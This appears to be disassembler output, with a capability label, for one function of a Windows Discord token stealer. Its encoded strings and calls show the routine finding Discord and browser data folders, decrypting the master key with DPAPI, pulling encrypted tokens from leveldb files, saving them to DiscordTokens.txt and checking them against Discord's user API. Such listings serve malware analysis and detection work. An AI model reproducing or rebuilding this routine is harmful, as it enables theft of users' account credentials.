Function at 0x1400271e0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x4150
call fcn.140261850
sub rsp, rax
mov rax, qword [0x140346fc0]
xor rax, rsp
mov qword [rsp + 0x4148], rax
xor r14d, r14d
mov r15d, r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
lea rcx, str.LOCALAPPDATA
call fcn.14027fbd8
mov qword [rsp + 0x260], rax
test rax, rax
jne 0x140027262
lea rdx, str._LOCALAPPDATA__environment_variable_not_found.
lea rcx, [0x14035f600]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
jmp 0x14002f217
lea rcx, str.APPDATA
call fcn.14027fbd8
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14002f217
lea rcx, [rsp + 0x28c8]
call fcn.14000a0e0
lea rcx, [rsp + 0x1f60]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1fa0]
call fcn.14005da40
nop
lea rcx, [rsp + 0x1fe0]
call fcn.14005dab0
nop
lea rcx, [rsp + 0x2020]
call fcn.14005db20
nop
lea rcx, [rsp + 0x2060]
call fcn.14005db90
nop
lea rcx, [rsp + 0x20a0]
call fcn.14005dc00
nop
lea rcx, [rsp + 0x20e0]
call fcn.14005dc70
nop
lea rcx, [rsp + 0x2120]
call fcn.14005dce0
nop
lea rcx, [rsp + 0x2160]
call fcn.14005dd50
nop
lea rcx, [rsp + 0x21a0]
call fcn.14005ddc0
nop
lea r8, str.92_73_114_105_100_105_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.73_114_105_100_105_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x21e0]
call fcn.14005de30
nop
lea rcx, [rsp + 0x2220]
call fcn.14005dec0
nop
lea rcx, [rsp + 0x2260]
call fcn.14005df30
nop
lea rcx, [rsp + 0x22a0]
call fcn.14005dfa0
nop
lea rcx, [rsp + 0x22e0]
call fcn.14005e010
nop
lea rcx, [rsp + 0x2320]
call fcn.14005e080
nop
lea r8, str.92_79_114_98_105_116_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.79_114_98_105_116_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x2360]
call fcn.14005de30
nop
lea rcx, [rsp + 0x23a0]
call fcn.14005e0f0
nop
lea r8, str.92_84_104_111_114_105_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.84_104_111_114_105_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x23e0]
call fcn.14005de30
nop
lea rcx, [rsp + 0x2420]
call fcn.14005e160
nop
lea rcx, [rsp + 0x2460]
call fcn.14005e1d0
nop
lea r8, str.92_86_105_118_97_108_100_105_92_85_115_101_114_32_68_97_116_97
lea rdx, str.86_105_118_97_108_100_105_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x24a0]
call fcn.14005de30
nop
lea rcx, [rsp + 0x24e0]
call fcn.14005e240
nop
lea rax, [rsp + 0x1f60]
mov qword [rsp + 0x2bd0], rax
lea rax, [rsp + 0x2520]
mov qword [rsp + 0x2bd8], rax
movaps xmm0, xmmword [rsp + 0x2bd0]
movdqa xmmword [rsp + 0x130], xmm0
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x28c8]
call fcn.1400440b0
nop
lea r9, [fcn.1400152a0]
mov edx, 0x40
lea r8d, [rdx - 0x29]
lea rcx, [rsp + 0x1f60]
call fcn.140260fd4
nop
lea rdx, str.79_112_101_114_97_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0xc30]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xc30]
lea rcx, [rsp + 0x2b88]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xc30]
call fcn.140049640
lea rdx, str.79_112_101_114_97_71_120_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0xc50]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0x2928]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xc50]
call fcn.140049640
lea rcx, [rsp + 0x28a8]
call fcn.14000a0e0
lea rcx, [rsp + 0x28a8]
call fcn.14000e6c0
nop
mov rax, qword [rsp + 0x28c8]
mov rax, qword [rax]
mov qword [rsp + 0x28a0], rax
cmp byte [rax + 0x19], 0
jne 0x140027592
lea rbx, [rax + 0x20]
mov rdx, rbx
lea rcx, [rsp + 0x35e0]
call fcn.140026ec0
nop
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x3620]
call fcn.140026ec0
nop
lea rdx, [rsp + 0x35e0]
lea rcx, [rsp + 0x28a8]
call fcn.140044090
lea rdx, [rsp + 0x3620]
mov rcx, rax
call fcn.1400495b0
nop
lea rcx, [rsp + 0x3620]
call fcn.140049640
nop
lea rcx, [rsp + 0x35e0]
call fcn.140049640
lea rcx, [rsp + 0x28a0]
call fcn.140042f50
mov rax, qword [rsp + 0x28a0]
jmp 0x140027506
lea rcx, [rsp + 0x28b8]
call fcn.14000a0e0
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28b8]
call fcn.140044210
nop
mov rax, qword [rsp + 0x28b8]
mov rax, qword [rax]
mov qword [rsp + 0x2bf8], rax
lea r13, [0x1402f8dcc]
lea r12, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
lea rsi, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
nop dword [rax]
cmp byte [rax + 0x19], 0
jne 0x14002f1ba
lea rbx, [rax + 0x20]
lea rdi, [rbx + 0x20]
mov qword [rsp + 0x28a0], rdi
mov rdx, rdi
lea rcx, [rsp + 0x2b38]
call fcn.140049840
nop
mov rdx, rbx
lea rcx, [rsp + 0x28f8]
call fcn.140049840
nop
lea rcx, [rsp + 0x31a0]
call fcn.140032040
lea rcx, [rsp + 0x31a0]
call fcn.140041800
nop
lea r8, [rsp + 0x28f8]
lea rdx, [rsp + 0x2968]
lea rcx, [rsp + 0x31a0]
call fcn.1400416e0
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049960
nop
lea rdx, str.68_105_115_99_111_114_100
lea rcx, [rsp + 0xeb0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xeb0]
lea rcx, [rsp + 0x2ad8]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xeb0]
call fcn.140049640
lea rdx, str.68_105_115_99_111_114_100_32_67_97_110_97_114_121
lea rcx, [rsp + 0x5d0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x2af8]
call fcn.140026ec0
nop
lea rcx, [rsp + 0x5d0]
call fcn.140049640
lea rdx, str.76_105_103_104_116_99_111_114_100
lea rcx, [rsp + 0xed0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xed0]
lea rcx, [rsp + 0x2a38]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xed0]
call fcn.140049640
lea rdx, str.68_105_115_99_111_114_100_32_80_84_66
lea rcx, [rsp + 0xef0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xef0]
lea rcx, [rsp + 0x2a58]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xef0]
call fcn.140049640
lea rdx, [rsp + 0x2ad8]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x140027855
lea rdx, [rsp + 0x2af8]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x140027855
lea rdx, [rsp + 0x2a38]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x140027855
lea rdx, [rsp + 0x2a58]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x140027855
lea rdx, [rsp + 0x2b88]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x14002781e
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x14002781e
mov r8, rdi
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0x1180]
call fcn.140056110
mov rdx, rax
lea rcx, [rsp + 0x28d8]
call fcn.1400496a0
lea rcx, [rsp + 0x1180]
jmp 0x140028e36
mov r8, qword [rsp + 0x28a0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x11a0]
call fcn.140056110
mov rdx, rax
lea rcx, [rsp + 0x28d8]
call fcn.1400496a0
lea rcx, [rsp + 0x11a0]
jmp 0x140028e36
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x11e0]
call fcn.1400122d0
nop
mov r8, qword [rsp + 0x28a0]
mov rdx, rax
lea rcx, [rsp + 0x11c0]
call fcn.140054660
mov rdx, rax
lea rcx, [rsp + 0x28d8]
call fcn.1400496a0
lea rcx, [rsp + 0x11c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x11e0]
call fcn.140049640
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0xf10]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xf10]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xf10]
call fcn.1400067f0
test bl, bl
je 0x140028e3b
lea rdx, str.92_76_111_99_97_108_32_83_116_97_116_101
lea rcx, [rsp + 0x550]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x3240]
call fcn.140026ec0
nop
lea rcx, [rsp + 0x550]
call fcn.140049640
lea r8, [rsp + 0x3240]
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x2fd0]
call fcn.140054580
nop
lea rdx, [rsp + 0x2fd0]
lea rcx, [rsp + 0x570]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x570]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x570]
call fcn.1400067f0
test bl, bl
je 0x140028e20
lea rcx, [rsp + 0x3e00]
call fcn.140013610
mov r8d, 1
lea rdx, [rsp + 0x2fd0]
lea rcx, [rsp + 0x3e00]
call fcn.140043e80
nop
cmp qword [rsp + 0x3e90], 0
jne 0x140027ab9
lea rcx, [rsp + 0x3e00]
call fcn.140013570
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3240]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
xor edx, edx
lea rcx, [rsp + 0x2b78]
call fcn.14004ea90
nop
lea rdx, [rsp + 0x2b78]
lea rcx, [rsp + 0x3e00]
call fcn.140045960
lea rcx, [rsp + 0x3e00]
call fcn.140043de0
lea rdx, [rsp + 0x1e80]
lea rcx, [rsp + 0x2b78]
call fcn.14005e310
mov r10, rax
lea rdx, [rsp + 0x1e60]
lea rcx, [rsp + 0x2b78]
call fcn.140045a00
mov rdx, rax
mov rcx, r10
call fcn.14005e4e0
test al, al
je 0x140028e04
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2b78]
call fcn.14005d730
lea rdx, [rsp + 0x1ea0]
mov rcx, rax
call fcn.14005e5b0
mov rbx, rax
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2b78]
call fcn.14005d730
lea rdx, [rsp + 0x1ec0]
mov rcx, rax
call fcn.140045a00
mov rdx, rax
mov rcx, rbx
call fcn.14005e4e0
test al, al
je 0x140028e04
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2b78]
call fcn.14005d730
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.14005d730
lea rdx, [rsp + 0x3220]
mov rcx, rax
call fcn.14005d850
nop
lea rcx, [rsp + 0x2cf0]
call fcn.140049960
nop
lea rcx, [rsp + 0x3d90]
call fcn.140013670
mov ecx, 0x68
call fcn.140260f98
mov rbx, rax
mov qword [rsp + 0x408], rax
mov rcx, rax
call fcn.140032070
mov ecx, 0x20
call fcn.140260f98
mov qword [rsp + 0x410], rax
mov rcx, rax
call fcn.140031d90
lea rdx, [rsp + 0x2cf0]
call fcn.140045180
nop
mov rdx, rax
mov rcx, rbx
call fcn.140011200
mov rbx, rax
lea rcx, [rsp + 0x3220]
call fcn.140049370
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x3230]
mov rdx, rax
lea rcx, [rsp + 0x3d90]
call fcn.140010cb0
nop
lea rdx, str.DPAPI
lea rcx, [rsp + 0x2ff0]
call fcn.1400122d0
nop
mov r9, qword [rsp + 0x3000]
xor r8d, r8d
lea rdx, [rsp + 0x1200]
lea rcx, [rsp + 0x2cf0]
call fcn.140049150
lea rdx, [rsp + 0x2ff0]
mov rcx, rax
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1200]
call fcn.140049640
test bl, bl
je 0x140027cf0
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x3000]
lea rdx, [rsp + 0x1220]
lea rcx, [rsp + 0x2cf0]
call fcn.140049150
mov rdx, rax
lea rcx, [rsp + 0x2cf0]
call fcn.1400496a0
lea rcx, [rsp + 0x1220]
call fcn.140049640
xor edx, edx
lea rcx, [rsp + 0x2cf0]
call fcn.140049420
mov qword [rsp + 0x2778], rax
mov eax, dword [rsp + 0x2d00]
mov dword [rsp + 0x2770], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2740], xmm0
lea rax, [rsp + 0x2740]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2770]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x140028dcc
lea rcx, [rsp + 0x2e20]
call fcn.140015230
mov r8d, dword [rsp + 0x2740]
mov rdx, qword [rsp + 0x2748]
add r8, rdx
lea rcx, [rsp + 0x2e20]
call fcn.14005e780
nop
lea rdx, str.92_76_111_99_97_108_32_83_116_111_114_97_103_101_92_108_101_118_101_108_100_98
lea rcx, [rsp + 0x590]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0x35c0]
call fcn.140026ec0
nop
lea rcx, [rsp + 0x590]
call fcn.140049640
lea r8, [rsp + 0x35c0]
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x36c0]
call fcn.140054580
nop
lea rcx, [rsp + 0x2f78]
call fcn.140015230
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2f78], xmm1
mov qword [rsp + 0x2f88], r14
lea rcx, [rsp + 0x2be0]
call fcn.140015230
movdqu xmmword [rsp + 0x2be0], xmm1
mov qword [rsp + 0x2bf0], r14
lea rcx, [rsp + 0x2c80]
call fcn.140015230
movdqu xmmword [rsp + 0x2c80], xmm1
mov qword [rsp + 0x2c90], r14
lea rcx, [rsp + 0x3480]
call fcn.140013690
lea rdx, str.dQw4w9WgXcQ:__.______
lea rcx, [rsp + 0x3480]
call fcn.140044380
nop
lea rdx, [rsp + 0x36c0]
lea rcx, [rsp + 0x5b0]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0x5b0]
lea rcx, [rsp + 0x2d50]
call fcn.140009310
nop
lea rcx, [rsp + 0x5b0]
call fcn.1400067f0
lea rcx, [rsp + 0x2c98]
call fcn.14000a0e0
lea rdx, [rsp + 0x2d50]
lea rcx, [rsp + 0x4b8]
call fcn.14000f2c0
mov rdx, rax
lea rcx, [rsp + 0x2c98]
call fcn.140009390
nop
lea rcx, [rsp + 0x2bd0]
call fcn.14000a0e0
lea rdx, [rsp + 0x2d50]
lea rcx, [rsp + 0x3f0]
call fcn.14000f2c0
mov rdx, rax
lea rcx, [rsp + 0x2bd0]
call fcn.140009410
nop
mov rsi, qword [rsp + 0x2bd0]
nop
mov rax, qword [rsp + 0x2c98]
cmp rax, rsi
je 0x140028223
lea rdi, [rax + 0x20]
mov rcx, rdi
call fcn.14000a0f0
test al, al
je 0x140027fca
lea rdx, str..ldb
lea rcx, [rsp + 0x6d0]
call fcn.14005e7e0
nop
or r15d, 1
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x1260]
mov rcx, rdi
call fcn.140006060
nop
or r15d, 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x6d0]
mov rcx, rax
call fcn.140006760
test al, al
jne 0x140027fc6
lea rdx, str..log
lea rcx, [rsp + 0x6b0]
call fcn.14005e7e0
nop
or r15d, 4
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x1240]
mov rcx, rdi
call fcn.140006060
or r15d, 8
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x6b0]
mov rcx, rax
call fcn.140006760
test al, al
je 0x140027fca
mov bl, 1
jmp 0x140027fcc
xor bl, bl
test r15b, 8
je 0x140027fee
and r15d, 0xfffffff7
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x1240]
call fcn.1400067f0
nop
test r15b, 4
je 0x140028010
and r15d, 0xfffffffb
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x6b0]
call fcn.1400067f0
nop
test r15b, 2
je 0x140028032
and r15d, 0xfffffffd
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x1260]
call fcn.1400067f0
nop
test r15b, 1
je 0x140028053
and r15d, 0xfffffffe
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x6d0]
call fcn.1400067f0
test bl, bl
je 0x140028211
lea rcx, [rsp + 0x2780]
call fcn.140013610
lea rdx, [rsp + 0x1280]
mov rcx, rdi
call fcn.140005d60
nop
mov r8d, 0x21
mov rdx, rax
lea rcx, [rsp + 0x2780]
call fcn.140043e80
nop
lea rcx, [rsp + 0x1280]
call fcn.140049640
mov rax, qword [rsp + 0x2780]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x2780]
add rcx, rax
call fcn.140005590
test al, al
je 0x140028204
lea rcx, [rsp + 0x32e0]
call fcn.140049960
nop
nop
lea rdx, [rsp + 0x32e0]
lea rcx, [rsp + 0x2780]
call fcn.14005e840
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140005590
test al, al
je 0x1400281e8
lea rcx, [rsp + 0x3870]
call fcn.140013670
lea rcx, [rsp + 0x3870]
call fcn.140013620
nop
lea r8, [rsp + 0x3480]
lea rdx, [rsp + 0x3870]
lea rcx, [rsp + 0x32e0]
call fcn.1400569c0
test al, al
je 0x1400281d6
mov edx, 1
lea rcx, [rsp + 0x3870]
call fcn.140044730
lea rdx, [rsp + 0x2e38]
mov rcx, rax
call fcn.1400446c0
nop
lea rcx, [rsp + 0x2e38]
call fcn.140049380
cmp byte [rax], 0x5c
jne 0x140028180
lea rcx, [rsp + 0x2e38]
call fcn.1400493a0
jmp 0x1400281c8
lea r9, [rsp + 0x2e38]
mov r8, qword [rsp + 0x2be8]
mov rdx, qword [rsp + 0x2be0]
lea rcx, [rsp + 0x418]
call fcn.14005e8d0
mov rcx, qword [rsp + 0x2be8]
cmp qword [rax], rcx
jne 0x1400281c8
lea rdx, [rsp + 0x2e38]
lea rcx, [rsp + 0x2be0]
call fcn.140045770
nop
lea rcx, [rsp + 0x2e38]
call fcn.140049640
nop
lea rcx, [rsp + 0x3880]
call fcn.140042fd0
jmp 0x1400280d0
lea rcx, [rsp + 0x2780]
call fcn.140043de0
nop
lea rcx, [rsp + 0x32e0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2780]
call fcn.140013570
lea rcx, [rsp + 0x2c98]
call fcn.140009360
jmp 0x140027f00
lea rcx, [rsp + 0x2bd0]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x2c98]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x2d50]
call fcn.1400093c0
lea rcx, [rsp + 0x2cd8]
call fcn.140015230
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2cd8], xmm1
mov qword [rsp + 0x2ce8], r14
mov rdi, qword [rsp + 0x2be0]
mov rsi, qword [rsp + 0x2be8]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x48], rdi
cmp rdi, rsi
je 0x14002841a
lea rdx, [0x1402f67e8]
mov rcx, rdi
call fcn.1400491b0
lea r8, [rax + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x3360]
mov rcx, rdi
call fcn.140049150
nop
lea rcx, [rsp + 0x3300]
call fcn.140049960
nop
lea rcx, [rsp + 0x3d20]
call fcn.140013670
mov ecx, 0x68
call fcn.140260f98
mov rbx, rax
mov qword [rsp + 0x420], rax
mov rcx, rax
call fcn.140032070
mov ecx, 0x20
call fcn.140260f98
mov qword [rsp + 0x428], rax
mov rcx, rax
call fcn.140031d90
lea rdx, [rsp + 0x3300]
call fcn.140045180
nop
mov rdx, rax
mov rcx, rbx
call fcn.140011200
mov rbx, rax
lea rcx, [rsp + 0x3360]
call fcn.140049370
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x3370]
mov rdx, rax
lea rcx, [rsp + 0x3d20]
call fcn.140010cb0
nop
mov r8, qword [rsp + 0x2e28]
mov rdx, qword [rsp + 0x2e20]
lea rcx, [rsp + 0x12a0]
call fcn.14005e970
nop
mov r9, rax
lea r8, [rsp + 0x3300]
lea rdx, [rsp + 0x3600]
call fcn.14002f3b0
nop
lea rcx, [rsp + 0x12a0]
call fcn.140049640
lea rdx, [rsp + 0x3600]
lea rcx, [rsp + 0x2cd8]
call fcn.140045770
nop
lea rcx, [rsp + 0x3600]
call fcn.140049640
nop
lea rcx, [rsp + 0x3d20]
call fcn.140010e70
nop
lea rcx, [rsp + 0x3300]
call fcn.140049640
nop
lea rcx, [rsp + 0x3360]
call fcn.140049640
nop
add rdi, 0x20
jmp 0x140028282
mov rsi, qword [rsp + 0x2cd8]
mov r14, qword [rsp + 0x2ce0]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x48], rsi
cmp rsi, r14
je 0x140028d44
mov r9, rsi
mov r8, qword [rsp + 0x2c88]
mov rdx, qword [rsp + 0x2c80]
lea rcx, [rsp + 0x430]
call fcn.14005e8d0
mov rcx, qword [rsp + 0x2c88]
cmp qword [rax], rcx
jne 0x140028d3b
mov rdx, rsi
lea rcx, [rsp + 0x2c80]
call fcn.140045770
lea rdx, str.92_65_112_112_108_105_99_97_116_105_111_110_115
lea rcx, [rsp + 0x710]
call fcn.140025de0
nop
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0x30d0]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x710]
call fcn.1400067f0
lea rdx, str.92_68_105_115_99_111_114_100
lea rcx, [rsp + 0x730]
call fcn.140025de0
nop
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0x3010]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x730]
call fcn.1400067f0
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x30d0]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x30d0]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x12c0]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x2e78]
call fcn.140055e90
nop
lea rcx, [rsp + 0x12c0]
call fcn.1400067f0
lea rdx, [rsp + 0x4e8]
lea rcx, [rsp + 0x3010]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x3010]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1c00]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [rsp + 0x2e78]
lea rcx, [rsp + 0x2e58]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1c00]
call fcn.1400067f0
lea rdx, [rsp + 0x2e78]
lea rcx, [rsp + 0x750]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x750]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x750]
call fcn.1400067f0
test bl, bl
jne 0x140028623
lea rdx, [rsp + 0x2e78]
lea rcx, [rsp + 0x770]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x770]
call fcn.14000a350
nop
lea rcx, [rsp + 0x770]
call fcn.1400067f0
lea rdx, [rsp + 0x2e58]
lea rcx, [rsp + 0x790]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x790]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x790]
call fcn.1400067f0
test bl, bl
jne 0x14002868b
lea rdx, [rsp + 0x2e58]
lea rcx, [rsp + 0x7b0]
call fcn.1400548a0
nop
lea rcx, [rsp + 0x7b0]
call fcn.14000a350
nop
lea rcx, [rsp + 0x7b0]
call fcn.1400067f0
lea rdx, str.92_68_105_115_99_111_114_100_84_111_107_101_110_115_46_116_120_116
lea rcx, [rsp + 0x7d0]
call fcn.140025de0
nop
lea rdx, [rsp + 0x7d0]
lea rcx, [rsp + 0x3030]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x7d0]
call fcn.1400067f0
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x3030]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x3030]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1160]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [rsp + 0x2e58]
lea rcx, [rsp + 0x3050]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1160]
call fcn.1400067f0
lea rcx, [rsp + 0x3f10]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x3050]
lea rcx, [rsp + 0x3f10]
call fcn.140041270
nop
lea rdx, str._nToken_:
lea rcx, [rsp + 0x3f10]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
nop
lea rcx, [rsp + 0x2c00]
call fcn.14000a0e0
lea rcx, [rsp + 0x2c00]
call fcn.14000e6c0
nop
mov rdx, rsi
lea rcx, [rsp + 0x1140]
call fcn.1400c6770
mov rbx, rax
lea rdx, str.Authorization
lea rcx, [rsp + 0xb50]
call fcn.140025de0
nop
mov r8, rbx
lea rdx, [rsp + 0xb50]
lea rcx, [rsp + 0x2c00]
call fcn.140055f70
nop
lea rcx, [rsp + 0xb50]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x1140]
call fcn.1400067f0
lea rdx, str.Content_Type
lea rcx, [rsp + 0x6f0]
call fcn.140025de0
nop
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0x2c00]
call fcn.14005e9c0
nop
lea rcx, [rsp + 0x6f0]
call fcn.1400067f0
lea rdx, str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
lea rcx, [rsp + 0xd50]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x36a0]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xd50]
call fcn.140049640
lea rdx, [rsp + 0x36a0]
lea rcx, [rsp + 0x3680]
call fcn.1400c6770
nop
lea rcx, [rsp + 0x2d70]
call fcn.14000a0e0
lea rdx, [rsp + 0x3680]
lea rcx, [rsp + 0x2610]
call fcn.140094820
nop
lea rdx, [rsp + 0x2610]
lea rcx, [rsp + 0x2d70]
call fcn.1400bafd0
nop
lea rcx, [rsp + 0x2610]
call fcn.14000e5d0
lea rcx, [rsp + 0x2cc8]
call fcn.14000a0e0
lea rdx, [0x14035cb20]
lea rcx, [rsp + 0x1120]
call fcn.14003ab30
mov rdx, rax
lea rcx, [rsp + 0x2cc8]
call fcn.14000f220
nop
mov rcx, qword [rsp + 0x2cc8]
add rcx, 0x58
lea rdx, [rsp + 0x2c00]
call fcn.14000e700
xor r15d, r15d
mov qword [rsp + 0x78], r15
lea rdx, [rsp + 0x2cc8]
lea rcx, [rsp + 0x4a0]
call fcn.14000f2c0
lea r9, [rsp + 0x78]
mov r8, rax
lea rdx, [rsp + 0x528]
lea rcx, [rsp + 0x2d70]
call fcn.1400bef20
nop
lea rcx, [rsp + 0x3f10]
mov qword [rsp + 0x268], rcx
lea r8, [rsp + 0x268]
lea rdx, [rsp + 0x518]
mov rcx, rax
call fcn.14005ee10
nop
mov rcx, rax
call fcn.14000e220
nop
lea rcx, [rsp + 0x518]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x528]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x78]
call fcn.14000c340
lea rdx, str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
